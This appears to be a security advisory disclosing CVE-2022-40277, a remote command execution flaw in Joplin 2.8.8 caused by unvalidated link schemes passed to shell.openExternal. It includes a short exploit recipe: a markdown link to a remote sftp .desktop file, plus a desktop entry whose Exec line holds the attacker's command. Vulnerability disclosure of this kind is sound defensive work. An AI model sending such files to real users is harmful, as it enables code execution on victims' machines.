Joplin 2.8.8 - Remote Command Execution

Description

Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link in a malicious markdown file, via Joplin. This is possible because the application does not properly validate the schema/protocol of existing links in the markdown file before passing them to the shell.openExternal function.

Vulnerability

This vulnerability occurs due to improper scheme/protocol validation of external URLs. Here is a small example to give you a better understanding of vulnerability.

Basically what the application is doing is sending to shell.openExternal(url), any url present in the markdown file.

Exploitation requirements

To achieve the RCE, the attacker will abuse certain schemes/protocols. Some of these only work on windows, others on MACos, others only work correctly under certain specific Linux distributions. In my case, I used Xubuntu 20.04 (Xfce) to simulate a victim. I chose this distribution because in its default configuration it executes the payload.desktop file after mounting the remote location where the payload file is located. In other Linux distributions by default these files are not executed once the remote location is mounted.

In the resources section I will provide you with support material so that you can understand in greater depth what I have just explained.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Joplin:

exploit.md

[exploit](sftp://user@server/uploads/payload.desktop)

payload.desktop

In the Exec parameter you put the command you want the victim to execute.

[Desktop Entry]

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-40277 to refer to this issue from now on. Disclosure policy

System Information

• Version: Joplin 2.8.8

• Operating System: GNU/Linux - Xubuntu 20.04 (Xfce)

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/laurent22/joplin